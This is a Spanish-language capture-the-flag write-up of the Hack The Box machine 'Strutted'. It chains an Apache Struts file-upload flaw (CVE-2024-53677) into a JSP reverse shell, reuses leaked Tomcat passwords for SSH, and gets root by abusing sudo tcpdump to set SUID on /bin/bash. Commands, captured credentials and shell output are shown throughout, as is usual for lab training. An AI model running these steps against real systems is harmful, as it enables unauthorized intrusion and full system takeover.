HTB - Strutted | (Difficulty Medium) - Linux
Writeup de la máquina de dificultad media Strutted de la página https://hackthebox.eu
Useful Skills
- Web enumeration
- Abusing Apache Struts 6.3.0.1 Remote Command Execution (CVE-2024-53677)
- User Pivoting via information lekeage (tomcat-users.xml)
- Abusing sudo privileges in the tcpdump binary
Enumeration
TCP Scan
1
2
rustscan -a 10.10.11.59 --ulimit 5000 -g
10.10.11.59 -> [22,80]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
nmap -p22,80 -sCV 10.10.11.59 -oN tcpScan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-28 15:12 CET
Nmap scan report for 10.10.11.59
Host is up (0.035s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://strutted.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.08 seconds
UDP Scan
1
2
3
4
5
6
7
8
9
10
11
12
13
nmap -sU --top-ports 1500 --min-rate 5000 -n -Pn 10.10.11.59 -oN udpScan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-28 15:12 CET
Nmap scan report for 10.10.11.59
Host is up (0.035s latency).
Not shown: 1495 open|filtered udp ports (no-response)
PORT STATE SERVICE
4045/udp closed lockd
5010/udp closed telelpathstart
26720/udp closed unknown
38293/udp closed landesk-cba
39683/udp closed unknown
Nmap done: 1 IP address (1 host up) scanned in 0.82 seconds
Hay que añadir el dominio strutted.htb en el archivo de configuración /etc/hosts para que se pueda resolver el nombre de dominio a la dirección IP 10.10.11.59
HTTP Enumeration
Whatweb reporta que se está empleando el lenguaje de programación Java, una cookie de sesión JSESSIONID y un servidor nginx 1.18.0
1
2
whatweb http://strutted.htb
http://strutted.htb [200 OK] Bootstrap, Content-Language[en-US], Cookies[JSESSIONID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[JSESSIONID], IP[10.10.11.59], Java, Script, Title[Strutted™ - Instant Image Uploads], UncommonHeaders[cross-origin-embedder-policy-report-only,cross-origin-opener-policy], nginx[1.18.0]
Accediendo a la página en http://strutted.htb/ puedo observar una web dedicada al alamacenamiento de imágenes. Algo que me impacta es el apartado “Interested in our setup?”, ahí se indica que es posible descargar desde el menú una imagen de Docker y ver cómo está configurada la plataforma.
Sabiendo esto directamente hago clic sobre Download y obtengo un archivo strutted.zip
Descomprimo strutted.zip con la utilidad 7z
1
7z x strutted.zip
Lo primero que observo y llama mi atención es un archivo tomcat-users.xml, el cual contiene credenciales. De momento no puedo utilizar las credenciales pero es un punto a tener en cuenta.
1
2
3
4
5
6
<?xml version='1.0' encoding='utf-8'?>
<tomcat-users>
<role rolename="manager-gui"/>
<role rolename="admin-gui"/>
<user username="admin" password="skqKY6360z!Y" roles="manager-gui,admin-gui"/>
</tomcat-users>
Al acceder a la carpeta Strutted observo el fichero pom.xml, es un archivo de Apache Maven el cual contiene información sobre el proyecto, sus dependencias, configuración de plugins y otras configuraciones necesarias para la compilación y empaquetado. Consigo observar la versión de struts2 la cual es 6.3.0.1
1
2
3
4
5
6
7
8
9
10
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.source>17</maven.compiler.source>
<maven.compiler.target>17</maven.compiler.target>
<struts2.version>6.3.0.1</struts2.version>
<jetty-plugin.version>9.4.46.v20220331</jetty-plugin.version>
<maven.javadoc.skip>true</maven.javadoc.skip>
<jackson.version>2.14.1</jackson.version>
<jackson-data-bind.version>2.14.1</jackson-data-bind.version>
</properties>
Me dispongo a buscar información sobre que es struts2, y veo que se trata de Apache Struts 2 que se utiliza para crear aplicaciones web Java mediante una arquitectura de Modelo, Vista y Controlador (MVC)
Sabiendo que es Apache Struts 2 y que la versión es 6.3.0.1 puedo buscar información sobre posibles vulnerabilidades existentes
Vulnerability analysis
CVE-2024-53677 (Apache Struts 6.3.0.1 RCE)
Una pequeña búsqueda en internet me permite dar con la vulnerabilidad CVE-2024-53677, se trata de de un RCE a través de un Path Traversal y la manipulación de los parámetros de carga del archivo, logrando así subir archivos a ubicaciones arbitrarias dentro del servidor.
La vulnerabilidad CVE-2024-53677 abarca desde Apache Struts desde 2.0.0 hasta 6.4.0
Exploitation
Abusing Apache Struts 6.3.0.1 RCE Vulnerability (CVE-2024-53677)
Encuentro un artículo sobre la vulnerabilidad CVE-2024-53677 el cual me sirven de guía para realizar la explotación de forma manual y entender como funciona todo.
Intercepto con BurpSuite la petición de subida de archivo y la envío al Repeater
Comenzaré intentando cargar un archivo de texto simple tratando de obtener un Path Traversal, pero no funciona
A continuación intentaré utilizar top.uploadFileName el valor interno de OGNL utilizado por Struts 2 para la carga de un único archivo, también cambio el campo name y pongo uploadFileName para alterar la lógica de manejo de los datos de carga, este intento también fracasa.
Realizaré otro intento pero el parámetro name=”upload” lo cambiaré a name=”Upload” para confundir el proceso de vinculación de parámetros, consigo con exito que se suba mi archivo de texto.
Me dirijo al navegador e introduzco la URL pudiendo observar mi archivo de texto subido.
Utilizo netcat para iniciar un listener por el puerto 4444 y obtener una reverse shell
1
2
nc -lvnp 4444
listening on [any] 4444 ...
Realizo el mismo proceso, pero ahora cargo una reverse shell en jsp en vez de un archivo de texto
Accedo y consigo ganar acceso al sistema como el usuario tomcat
1
2
3
4
5
nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.194] from (UNKNOWN) [10.10.11.59] 33976
whoami
tomcat
Post exploitation
User Pivoting
Obtengo acceso al sistema como el usuario tomcat, este es un usuario con bajo privilegios por lo que debo de buscar alguna manera de pivotar hacia otro usuario. Comenzaré visualizando cuales son los usuarios que existen en el sistema.
1
2
3
tomcat@strutted:~$ grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
james:x:1000:1000:Network Administrator:/home/james:/bin/bash
Revisando los directorios encuentro en /var/lib/tomcat9/conf un archivo tomcat-users.xml el cual contiene una contraseña, podría probar a autenticarme por ssh con la misma.
1
2
3
4
5
6
7
<!--
<user username="admin" password="<must-be-changed>" roles="manager-gui"/>
<user username="robot" password="<must-be-changed>" roles="manager-script"/>
<role rolename="manager-gui"/>
<role rolename="admin-gui"/>
<user username="admin" password="IT14d6SSP81k" roles="manager-gui,admin-gui"/>
--->
Consigo acceder por ssh como el usuario james con la contraseña encontrada
1
2
3
ssh james@10.10.11.59
james@10.10.11.59's password:
james@strutted:~$
Privilege escalation
Utilizo el comando sudo -l para visualizar los binarios que puede ejecutar con privilegios elevados, observo que tengo permiso para ejecutar tcpdump sin necesidad de proporcionar contraseña.
1
2
3
4
5
6
james@strutted:~$ sudo -l
Matching Defaults entries for james on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User james may run the following commands on localhost:
(ALL) NOPASSWD: /usr/sbin/tcpdump
Encuentro en GTFOBins como escalar privilegios a root teniendo permisos sudo para ejecutar el binario tcpdump
El proceso es muy sencillo crearé un script en Bash que otorgue permisos SUID al binario /bin/bash y le asignaré permisos de ejecución
1
2
james@strutted:/tmp$ echo "chmod u+s /bin/bash" > privesc.sh
james@strutted:/tmp$ chmod +x privesc.sh
Ejecutaré el comando proporcionado por GTFOBins, pero en el parámetro -z indicaré mi archivo privesc.sh
1
2
3
4
5
6
james@strutted:/tmp$ sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/privesc.sh -Z root
tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Maximum file limit reached: 1
1 packet captured
4 packets received by filter
0 packets dropped by kerne
Por ultimo observo que se han asignado correctamente los permisos SUID y consigo escalar privilegios a root
1
2
3
4
5
james@strutted:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14 2024 /bin/bash
james@strutted:/tmp$ bash -p
bash-5.1# whoami
root